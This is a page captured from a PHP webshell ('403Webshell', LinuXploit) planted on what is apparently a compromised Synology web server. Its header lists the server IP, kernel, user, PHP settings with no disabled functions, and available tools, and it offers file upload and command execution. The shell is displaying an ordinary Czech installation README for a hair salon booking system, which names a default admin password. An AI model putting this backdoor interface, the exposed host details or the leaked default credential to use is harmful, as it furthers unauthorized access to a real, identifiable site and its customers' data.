403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/kadernictvi_jservices_cz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/kadernictvi_jservices_cz/README.md
# Kadeřnictví Stella – instalační příručka
## Synology Web Station + MariaDB + PHP

---

## 1. Požadavky na Synology

- DSM 7.x
- Web Station (Apache + PHP 8.1+)
- MariaDB 10 (z Package Center)
- Platný doménový název nebo DynDNS

---

## 2. Databáze (MariaDB)

1. Otevřete **phpMyAdmin** (nebo připojte se přes SSH)
2. Vytvořte databázi a uživatele:

```sql
CREATE DATABASE kadernictvi CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'kadernictvi_user'@'localhost' IDENTIFIED BY 'SILNE_HESLO';
GRANT ALL PRIVILEGES ON kadernictvi.* TO 'kadernictvi_user'@'localhost';
FLUSH PRIVILEGES;
```

3. Importujte schéma:

```bash
mysql -u kadernictvi_user -p kadernictvi < sql/schema.sql
```

4. Přidejte tabulku sessions (nutné pro admin přihlášení):

```sql
USE kadernictvi;
CREATE TABLE admin_session (
  id          INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
  user_id     INT UNSIGNED NOT NULL,
  token       CHAR(64)     NOT NULL UNIQUE,
  platnost_do DATETIME     NOT NULL,
  vytvoreno   DATETIME     NOT NULL DEFAULT CURRENT_TIMESTAMP,
  FOREIGN KEY (user_id) REFERENCES admin_uzivatele(id) ON DELETE CASCADE,
  INDEX idx_token (token)
) ENGINE=InnoDB;
```

---

## 3. Konfigurace

Upravte soubor `includes/config.php`:

| Proměnná | Popis |
|----------|-------|
| `DB_PASS` | Heslo k databázi |
| `SMTP_HOST` | Adresa SMTP serveru |
| `SMTP_USER` | E-mail pro odesílání |
| `SMTP_PASS` | Heslo k e-mailu |
| `BASE_URL`  | Adresa webu (bez lomítka) |

---

## 4. Nahrání souborů

1. V **File Station** nahrajte celou složku do `/web/kadernictvi/`
2. Nastavte oprávnění složky: vlastník `http`, práva `755`
3. V **Web Station** vytvořte virtuální host:
   - Document root: `/web/kadernictvi`
   - PHP verze: 8.1+
   - Zapněte **mod_rewrite** v nastavení Apache

---

## 5. Změna admin hesla

Po první instalaci změňte výchozí heslo (`stella2026`):

```php
// Spusťte jednorázově v terminálu nebo přes PHP soubor:
$hash = password_hash('NOVE_HESLO', PASSWORD_BCRYPT, ['cost' => 12]);
// Pak v MySQL:
// UPDATE admin_uzivatele SET heslo_hash = '$hash' WHERE uzivatelske_jmeno = 'admin';
```

---

## 6. Struktura souborů

```
kadernictvi/
├── index.html              ← Veřejný rezervační formulář
├── admin.html              ← Admin panel
├── zmena-rezervace.php     ← Stránka pro změnu termínu (z e-mailu)
├── zruseni-rezervace.php   ← Stránka pro zrušení (z e-mailu)
├── .htaccess               ← Apache URL routing + bezpečnost
├── api/
│   ├── index.php           ← API router
│   ├── sluzby.php          ← CRUD služeb
│   ├── dostupnost.php      ← Volné termíny
│   ├── rezervace.php       ← Vytváření a správa rezervací
│   ├── token.php           ← Zrušení zákazníkem
│   ├── admin.php           ← Blokace + statistiky
│   └── auth.php            ← Přihlášení admina
├── includes/
│   ├── config.php          ← Konfigurace
│   ├── db.php              ← PDO + pomocné funkce
│   └── mailer.php          ← SMTP e-maily
└── sql/
    └── schema.sql          ← Databázové schéma
```

---

## 7. API přehled (pro frontend)

| Metoda | Endpoint | Popis |
|--------|----------|-------|
| GET | `/api/sluzby` | Seznam služeb |
| GET | `/api/dostupnost?sluzba_id=1&datum=2026-06-15` | Volné časy |
| POST | `/api/rezervace` | Nová rezervace |
| GET | `/api/token?t=TOKEN` | Ověřit token z e-mailu |
| POST | `/api/token` | Zrušit rezervaci zákazníkem |
| POST | `/api/auth/login` | Přihlásit admina |
| GET | `/api/rezervace` | Seznam rezervací (admin) |
| PUT | `/api/rezervace/{id}` | Změnit stav (admin) |
| POST | `/api/admin/blokovane` | Přidat blokaci (admin) |
| GET | `/api/admin/statistiky` | Statistiky (admin) |

---

## 8. Bezpečnostní doporučení

- Používejte **HTTPS** (Let's Encrypt přes Synology)
- Změňte výchozí admin heslo ihned po instalaci
- Pravidelně zálohujte databázi (Synology Hyper Backup)
- Zapněte `Strict-Transport-Security` v `.htaccess` po ověření HTTPS

Youez - 2016 - github.com/yon3zu
LinuXploit